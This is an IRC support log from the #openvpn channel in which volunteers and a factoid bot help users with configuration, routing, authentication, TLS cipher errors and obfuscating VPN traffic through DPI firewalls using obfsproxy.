05:02 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
05:02 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
05:02 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:03 <@dazo> !as
05:03 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
05:05 < spiekey> ZeK__, well it behaves a bit strange. I am testing it right now because we coded something similar with ldap and php. Also some admin interface, etc...
05:05 < spiekey> but maybe i am just using it wrong :-P
05:10 < alexxtasi> !welcome
05:10 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder
05:10 <@vpnHelper> !sample !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:11 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
05:12 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has joined #openvpn
05:18 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:18 < calcifea> where i can get a lit of all options for config files?
05:18 < calcifea> 'morning :)
05:18 < calcifea> list
05:20 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
05:22 < calcifea> !welcome
05:22 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder
05:22 <@vpnHelper> !sample !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:22 < calcifea> !configs
05:22 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
05:23 < calcifea> !howto
05:23 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
05:23 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 240 seconds]
05:25 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
05:28 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
05:36 -!- gekko_ [~jjk@dev.pro-it.dk] has joined #openvpn
06:03 <@dazo> calcifea: run openvpn --help
06:03 <@dazo> !--
06:03 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
06:03 <@dazo> otherwise, look at the man page
06:03 <@dazo> !Pan
06:03 <@dazo> !man
06:03 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
06:08 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
06:10 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:13 < calcifea> but i still don't know
06:13 < calcifea> if an option is for client side or server side
06:14 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
06:15 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:15 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
06:16 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
06:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:18 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Remote host closed the connection]
06:18 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
06:19 -!- rpluto [~rpluto@197.148.25.190] has joined #openvpn
06:19 < rpluto> hi
06:19 < rpluto> can someone help me with one configuration
06:19 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
06:20 < rpluto> i cant connect the vpn
06:20 < rpluto> !welcome
06:20 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
06:20 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:21 < rpluto> !howto
06:21 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:21 < rpluto> !configs
06:21 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
06:23 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
06:24 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
06:26 < rpluto> http://pastebin.com/zh04GXYt
06:26 < rpluto> !interface
06:26 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4)
06:26 <@vpnHelper> For Linux: iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
06:27 -!- rpluto [~rpluto@197.148.25.190] has quit [Quit: rpluto]
06:27 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has joined #openvpn
06:27 -!- rpluto [~rpluto@197.148.25.190] has joined #openvpn
06:28 < rpluto> !past
06:28 < rpluto> configs http://pastebin.com/zh04GXYt
06:29 < rpluto> i cant connect, Wed Nov 13 12:46:01 2013 PUSH: Received control message: 'PUSH_REPLY,route-gateway 192.168.25.253,route 192.168.25.0 255.255.255.0,route-gateway 192.168.25.253,ping 8,ping-restart 30,ifconfig 192.168.25.160 255.255.255.0' Wed Nov 13 12:46:01 2013 OPTIONS IMPORT: timers and/or timeouts modified Wed Nov 13 12:46:01 2013 OPTIONS IMPORT: --ifconfig/up options modified Wed Nov 13 12:46:01 2013 OPTIONS IMPORT: route options modified Wed Nov 13 12:
06:32 < rpluto> no one ? can help ?
06:32 < rpluto> !goal
06:32 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:33 < calcifea> !goal i just want a secure connecction beetween 2 computers
06:34 < calcifea> :o
06:34 < calcifea> opslol
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
06:59 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:03 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
07:06 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
07:08 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
07:11 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Quit: leaving]
07:12 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has joined #openvpn
07:16 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Client Quit]
07:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
07:33 -!- rpluto [~rpluto@197.148.25.190] has quit [Remote host closed the connection]
07:45 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
07:47 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 245 seconds]
07:57 -!- gekko_ [~jjk@dev.pro-it.dk] has quit [Quit: Ex-Chat]
08:00 -!- GEEGEEGEE [~Ultimatio@78.129.133.91] has joined #openvpn
08:01 < GEEGEEGEE> I keep getting huge log files from openvpn
08:01 < GEEGEEGEE> 11G     daemon.log, 11G syslog, 11G xconsole.log
08:12 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
08:22 < heraclitus> has anyone successfully configured a script to authenticate users against a pql database?
08:23 < heraclitus> sounds like you should truncate those files GEEGEEGEE, and maybe decrease your server's verbosity
08:42 < ZeK__> You can configure openvpn to authenticate using pam
08:42 < ZeK__> And configure pam with almost any backend
08:45 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 244 seconds]
08:45 < heraclitus> I have it currently configured for PAM, but I'd like to try to isolate vpn users from system users, if possible
08:54 <+pekster> So have PAM auth openvpn against LDAP, or any other database PAM knows?
08:54 <+pekster> PAM doesn't need to mean "local system user"
08:54 < heraclitus> https://gitorious.org/pam-pgsql/pam-pgsql/source/ab28894e5e4aab00dcb5c1fb5e3c012bc2416108 <<-- I think I found my solution :)
08:54 <@vpnHelper> Title: ./ in ab28894e5e4aab00dcb5c1fb5e3c012bc2416108 - Gitorious (at gitorious.org)
08:54 <+pekster> Unless of course you're particular about your pql setup and PAM won't support it; then you'd need to use an external script
08:54 <+pekster> There ya go
08:55 < heraclitus> I am particular about the pgsql setup.
08:55 < heraclitus> thanks pekster :)
08:56 <+pekster> Well, best of both worlds for you; seems someone already went to the trouble of making PAM work
09:01 -!- u0m3__ is now known as u0m3
09:10 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
09:13 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:13 -!- JSharpe__ [~JSharpe@31.205.63.22] has quit [Ping timeout: 252 seconds]
09:21 -!- 7CBAADXDD [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
09:21 -!- defswork [~andy@141.0.50.105] has quit [Quit: Ex-Chat]
09:23 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
09:23 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
09:23 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:25 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Read error: Connection reset by peer]
09:26 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has joined #openvpn
09:26 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Changing host]
09:26 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
09:27 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
09:29 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
09:34 -!- Marin [~Marin@2a00-5e80-0101-7300-0216-d3ff-fe4f-4367.rev.sfr.net] has joined #openvpn
09:34 -!- Marin [~Marin@2a00-5e80-0101-7300-0216-d3ff-fe4f-4367.rev.sfr.net] has left #openvpn ["quit"]
10:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 264 seconds]
10:01 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
10:02 -!- takamichi [~takamichi@141.255.164.87] has joined #openvpn
10:03 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:03 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
10:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:15 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
10:16 -!- crus [~crusader@2001:44b8:319e:2900:b473:1c90:25bd:fab] has quit [Read error: Connection reset by peer]
10:17 -!- zedsix [~z6@unaffiliated/z6] has quit []
10:21 -!- arij [~arij@unaffiliated/arij] has left #openvpn ["Leaving"]
10:22 -!- DrFoo [~DrFoo@c-76-23-208-102.hsd1.ct.comcast.net] has quit [Ping timeout: 252 seconds]
10:34 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
10:35 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
10:35 -!- takamichi [~takamichi@141.255.164.87] has quit [Ping timeout: 272 seconds]
10:36 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
10:36 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
10:38 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:38 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:39 -!- u0m3 [~u0m3@109.96.189.96] has quit [Ping timeout: 272 seconds]
10:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:43 -!- elfixit [~Icedove@64.35.8.17] has joined #openvpn
10:46 -!- spiekey [~mario@projekte.imos.net] has quit [Quit: Verlassend]
10:51 -!- elfixit [~Icedove@64.35.8.17] has quit [Ping timeout: 246 seconds]
10:53 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has joined #openvpn
10:54 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:56 -!- elfixit1 [~Icedove@64.35.8.19] has joined #openvpn
10:56 -!- mndo [~mndo@bl16-32-128.dsl.telepac.pt] has joined #openvpn
10:57 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has quit [Ping timeout: 246 seconds]
11:01 -!- elfixit1 [~Icedove@64.35.8.19] has quit [Ping timeout: 264 seconds]
11:01 -!- ade_b [~Ade@80.72.60.32] has joined #openvpn
11:01 -!- ade_b [~Ade@80.72.60.32] has quit [Changing host]
11:01 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:05 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
11:07 -!- drcode [~user1@5.28.134.3] has joined #openvpn
11:07 < drcode> hi all
11:07 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has joined #openvpn
11:07 < drcode> Dose WebSense Block openvpn trafic ? is there way to bypass it?
11:08 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has quit [Remote host closed the connection]
11:08 <+pekster> When operating in a TLS mode, OpenVPN has a 'detectable fingerprint; you can possibly use --secret (see !statickey) to avoid that with some security implications, or see !obfs for masquerading OpenVPN traffic inside/as something else
11:09 <+pekster> Any DPI is able to block OpenVPN, at least in TLS mode, and the good ones can likely spot the symmetric crypto too if they're good
11:11 < drcode> hi pekster , thank you
11:12 < drcode> so It is possible to bypass it with statickey?
11:12 <+pekster> "maybe"
11:12 < drcode> I use tls-auth
11:12 <+pekster> That's valid only in TLS modes, obviously
11:13 < drcode> If I will use stunnel and openvpn , It can solve it?
11:13 <+pekster> Go try it and find out
11:14 <+pekster> OpenVPN works in 1 of two basic modes: TLS, or static-key (well, or a 3rd which is p2p with no encryption at all.) If you want more options, you must wrap openvpn's traffic in an obfuscation transport like !obfs. There are no other options openvpn provides you for basic transport negotiation
11:15 <+pekster> I can't tell you if you can bypass $your_DPI_firewall becuase I don't have WebSense or whatever. #openvpn helps with OpenVPN, not bypassing local security products
11:15 < drcode> ok
11:16 < drcode> I thote openvpn is ssl  vpn
11:16 < drcode> !obfs
11:16 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is
11:16 <@vpnHelper> being used. in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
11:17 < drcode> obfs is the same like stunnel?
11:17 < drcode> I wanted to use obfs , but it dosn't support http proxy
11:17 < drcode> it need direct traffic
11:18 <+pekster> No clue; I don't generally have a need to deal with traffic obfuscation
11:18 < drcode> ok
11:20 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
11:20 -!- smue [smue@nostromo.smue.info] has joined #openvpn
11:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:21 < ZeK__> !forwardsecurity
11:21 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
11:22 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:23 <+pekster> Oh, and drcode, OpenVPN is an "SSL" (techincally TLS) VPN. TLS is only used for the control channel though. Same as HTTPS works really, just instead of an http payload it sends symmetrically ciphered packets. That's how any modern TLS protocols work
11:24 <+pekster> Compare this to Citrix, which is a TLS-secured Application Layer Gateway (ALG.) Despite marketing, this is _not_ a VPN
11:25 <+pekster> TLS -> ephemeral symmetric session keys -> encrypted data. Using the static-key method, you're replacing steps 1 & 2 there with a pre-shared secret key
11:30 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
11:32 < SupaYoshi> hey guys, ive a server.conf file
11:32 < SupaYoshi> and everytime i add a route, my vpn server is unreachable everywhere
11:32 < SupaYoshi> http://pastebin.com/fupE5n2S
11:33 < SupaYoshi> Everytime i add route 10.15.1.0 255.255.255.0 to it
11:33 < SupaYoshi> I cant ping it, cant see it, and even from the machine itself i can have no internet access anymore
11:33 < SupaYoshi> im adding the route because I want the vpn clients to be able to reach the LAN behind the server
11:33 < SupaYoshi> and atm thats not possible
11:34 < SupaYoshi> what am i doing wrong?
11:34 < SupaYoshi> :D
11:34 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has joined #openvpn
11:41 -!- ade_ [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
11:43 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:44 -!- CJ_ [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Quit: Leaving]
11:44 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:44 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
11:45 -!- ade_ [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Ping timeout: 240 seconds]
11:48 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
11:49 <+pekster> SupaYoshi: You don't add a --route statement for that; the server _already_ has a route to its own LAN
11:50 <+pekster> Read:
11:50 <+pekster> !serverlan
11:50 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:50 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:50 < SupaYoshi> Yeah okay
11:50 <+pekster> Also stop using openDNS; they suck. More info at !opendns
11:50 < SupaYoshi> But if i dont add a route for it
11:50 < SupaYoshi> it doesnt work either
11:50 < SupaYoshi> Okay i will change that to google dns
11:50 < SupaYoshi> but okay
11:50 <+pekster> If server-LAN access isn't working use the flowchart
11:50 -!- u0m3 [~u0m3@109.96.152.158] has joined #openvpn
11:50 < SupaYoshi> I have
11:50 < SupaYoshi> i added the route
11:50 < SupaYoshi> i can access the router
11:50 < SupaYoshi> i just cant access the clients
11:51 < SupaYoshi> behind the router on the same lan
11:51 < SupaYoshi> but i can ping the router from the openvpn clients
11:51 < SupaYoshi> i followed everything, i added a firewall route etc.
11:51 < SupaYoshi> but this is the last thing that doesnt work
11:52 <+pekster> Then you haven't successfully followed the flowchart
11:52 <+pekster> If you had, it works
11:52 <+pekster> If you haven't, it tells you what is wrong
11:52 <+pekster> Not quite sure what's so hard to grasp about that concept
11:53 <+pekster> "it doesn't work" is not helpful. Your server config looks fine; use the flowchart to find out what else you didn't get working right
11:53 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#symptoms
11:53 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
11:54 -!- doug[home] [~dbh@ool-44c59e41.dyn.optonline.net] has joined #openvpn
11:54 < doug[home]> ecrist: if you are here, pm right quick pls
11:56 < Fohlen> drcode
11:56 < Fohlen> there's an awesome obfuscator for openvpn
11:56 < Fohlen> hold on a second
11:56 < Fohlen> https://www.torproject.org/projects/obfsproxy.html.en
11:57 <@vpnHelper> Title: Tor Project: obfsproxy (at www.torproject.org)
11:57 < Fohlen> well, it does not support http by house, but you can tunnel it socks, and from socks to http
11:57 < Fohlen> with an additional proxy server
11:58 < Fohlen> :)
11:58 < Fohlen> hope that helps!
11:58 < calcifea> wait a second
11:59 < calcifea> is not tor trasparent by default?
11:59 <+pekster> Not at all
11:59 < calcifea> i remember that it fake a browser connection
11:59 < calcifea> or something like that
11:59 <+pekster> tor is 100% identifyable as tor traffic
11:59 < Fohlen> because some firewalls use dpi and block the specific connection
11:59 < calcifea> wow....
12:00 < Fohlen> yes ... thats what obfsproxy is made for
12:00 < Fohlen> and so, you can make your vpn traffic look like 100% real https traffic
12:00 < Fohlen> :)
12:00 < calcifea> but you should trust something else again
12:00 < Fohlen> even the handshake is obfuscated fine
12:00 < calcifea> uhm
12:00 -!- ade_ [~Ade@97.107.139.66] has joined #openvpn
12:00 < Fohlen> just mentioning because drcode asked about
12:00 < calcifea> if my vpn traffic is in tor
12:01 < calcifea> how you can see i use tor
12:01 < calcifea> to use a vpn
12:01 < Fohlen> no lol
12:01 < Fohlen> ...
12:01 < calcifea> ...
12:01 <+pekster> You can't. You asked "is not tor transparent by default"
12:01 <+pekster> It's not
12:01 < calcifea> he said
12:01 < Fohlen> he wants to obfuscate vpn traffic as https traffic
12:01 < calcifea> that i can make my vpn traffic look 100% real hhtps traffic
12:01 < calcifea> i see
12:01 < calcifea> so it's about obfuscating tor
12:01 < calcifea> but openvpn, ok :)
12:02 <+pekster> obfsproxy can obfuscate _anything_
12:02 < Fohlen> because unfortanly some firewalls use dpi, which can recognise vpn traffic
12:02 <+pekster> It's unrelated to tor
12:02 < calcifea> wow
12:02 < Fohlen> yeah calcifea
12:02 < calcifea> i'd like to try
12:02 < calcifea> :D
12:03 < Fohlen> woundering why the fuck you allow https when you use dpi
12:03 < Fohlen> :D
12:03 < Fohlen> *wondering
12:03 < calcifea> you can stop the internet
12:03 < calcifea> working XD
12:04 < calcifea> cant
12:04 < Fohlen> LOL
12:05 < calcifea> ok it doesn't look easy
12:05 < calcifea> to set up with openvpn :D
12:05 < calcifea> everything talk about tor :(
12:06 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:06 <+pekster> Rarely; if you're stuck behind opressive firewalls you can either move to a place without them or attempt to bypass them
12:06 < calcifea> ok, net it's friendly this time.. there are few how to
12:07 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has quit [Ping timeout: 240 seconds]
12:07 <+pekster> If you're looking for beinner resources calcifea, see info here:
12:07 <+pekster> !new
12:07 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
12:08 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has joined #openvpn
12:08 < calcifea> uhm... i use openvpn just to connect to my home (vpn client and not all) network :p
12:08 < calcifea> i have really simple configs but they work actually!
12:09 < Fohlen> calcifea, obfs is for what pekster mentioned
12:09 < Fohlen> you move place or attempt to bypass a firewall
12:09 < calcifea> uhm... i don't mind to obfuscade it
12:09 < calcifea> just for fun
12:09 < Fohlen> ...
12:09 < calcifea> ..!
12:10 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Quit: leaving]
12:10 < Fohlen> you dont set up a shitty proxy between your connection, making your connection slower and so on for fun...
12:10 < Fohlen> srsly :D
12:10 < calcifea> so is shitty! i see
12:10 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
12:10 < calcifea> :p
12:10 < Fohlen> no
12:10 < Fohlen> its good for people who need it
12:10 < calcifea> ok :(
12:11 <+pekster> Well, it is performance-degrading. That's better than no connection at all
12:11 <+pekster> Dialup is still better than zero 'net access; same concept
12:11 < calcifea> it that so high?
12:11 < calcifea> or accettable?
12:11 < Fohlen> well
12:11 < Fohlen> imagine you have a car
12:11 < Fohlen> and you want to drive somewhere
12:11 < Fohlen> but you are not allowed
12:12 < Fohlen> imagine you can only drive when you are hidden as a bus
12:12 < Fohlen> thats what obfs does
12:12 < Fohlen> and whats the problem with it? You need more oil to run for it
12:12 < Fohlen> *imagine you are only allowed to drive busses
12:12 < Fohlen> so you needa hide your car as a bus
12:12 < Fohlen> :D
12:13 < Fohlen> thats kinda what obfsproxy does
12:13 < Fohlen> :)
12:13 < calcifea> yeah but...
12:13 < calcifea> in that case
12:13 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit []
12:13 < calcifea> i just see the magic happen
12:13 < calcifea> :D
12:13 < Fohlen> lul
12:13 < calcifea> if it's not that.. degrading
12:13 < Fohlen> well, you need more "oil" to do the same thing, so more traffic
12:13 < calcifea> maybe i will just try it :)
12:14 < calcifea> uhm
12:14 < Fohlen> but better then not driving, right? :D
12:18 < Fohlen> hope that explenation helped :P :)
12:18 < calcifea> ofc >_<
12:18 < calcifea> i was reading about how it run and i'm a little bit confused
12:18 < calcifea> "–dest=127.0.0.1:1194 server x.x.x.x:5573"
12:19 < Fohlen> well
12:19 < Fohlen> its easy
12:19 < calcifea> but what i see is that in client config i will have the vpn address+port
12:19 < calcifea> and a proxy address+port
12:19 < Fohlen> you need a obfs proxy on both sides
12:19 < calcifea> i will use 2 connections?
12:20 < calcifea> i thought i need only 1 port
12:20 < Fohlen> the one is listening on the server side, offering the vpn a socket to connect through
12:20 < calcifea> to do that
12:20 < Fohlen> you need only 1 port
12:20 < calcifea> http://www.dlshad.net/?p=135
12:20 < calcifea> but look this config
12:20 <@vpnHelper> Title: Bypassing censorship by using obfsproxy and openVPN , SSH Tunnel | Dlshad Othman - Container of Scribbles (at www.dlshad.net)
12:20 < calcifea> there is
12:20 < calcifea> remote 192.168.1.1 80 and socks-proxy 127.0.0.1 9090
12:20 < calcifea> !
12:20 < Fohlen> the other one is on your side, offering the vpn client a socket to connect trough
12:21 < calcifea> if i set 127.0.0.1 on my server, it will attempt connections by outside?
12:21 < Fohlen> and then you just link both via http (bridge) and you are done
12:21 < Fohlen> :)
12:21 < Fohlen> *https
12:21 < calcifea> 127.0.0.1 is lo... not the lan
12:21 < calcifea> ip
12:21 < Fohlen> yes
12:21 < Fohlen> 127.0.0.1 is your local machine
12:21 < Fohlen> always
12:21 < Fohlen> ...
12:22 < Fohlen> guess you needa take some more generall lesson in unix before you go into obfs
12:22 < Fohlen> :P
12:22 < ZeK__> lol
12:24 <+pekster> Fohlen: We've got a factoid for that too, fwiw:
12:24 <+pekster> !101
12:24 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
12:24 < Fohlen> thank you!
12:24 < Fohlen> :)
12:24 <+pekster> Most of the !things we have are becuase they get asked a lot, and we don't like typin the same thing too many times
12:25 < Fohlen> well, obfs is not that common topic, but thx for the tipp anyway
12:25 <+pekster> It's common enough for !obfs :P
12:26 -!- occup4nt [~null@204.14.158.226] has quit [Quit: Leaving]
12:35 -!- ade_ [~Ade@97.107.139.66] has quit [Ping timeout: 240 seconds]
12:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:37 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has joined #openvpn
12:38 -!- valent_ [~valent@251-222.dsl.iskon.hr] has joined #openvpn
12:40 < calcifea> oh.. why if i set a common tls-cipher
12:40 < calcifea> i get this: routines:SSL3_CLIENT_HELLO:no ciphers available ?
12:41 -!- valent [~valent@209-83.dsl.iskon.hr] has quit [Ping timeout: 244 seconds]
12:42 <+pekster> What cipher?
12:42 < calcifea> TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384
12:43 <+pekster> OpenVPN does not currently to ECC, anad use of TLSv1.2 ciphers requires a git-master build with commit 4b67f98
12:43 <+pekster> do*
12:43 < calcifea> i used --show-tls
12:43 < calcifea> thought they were all supported
12:43 <+pekster> Nope
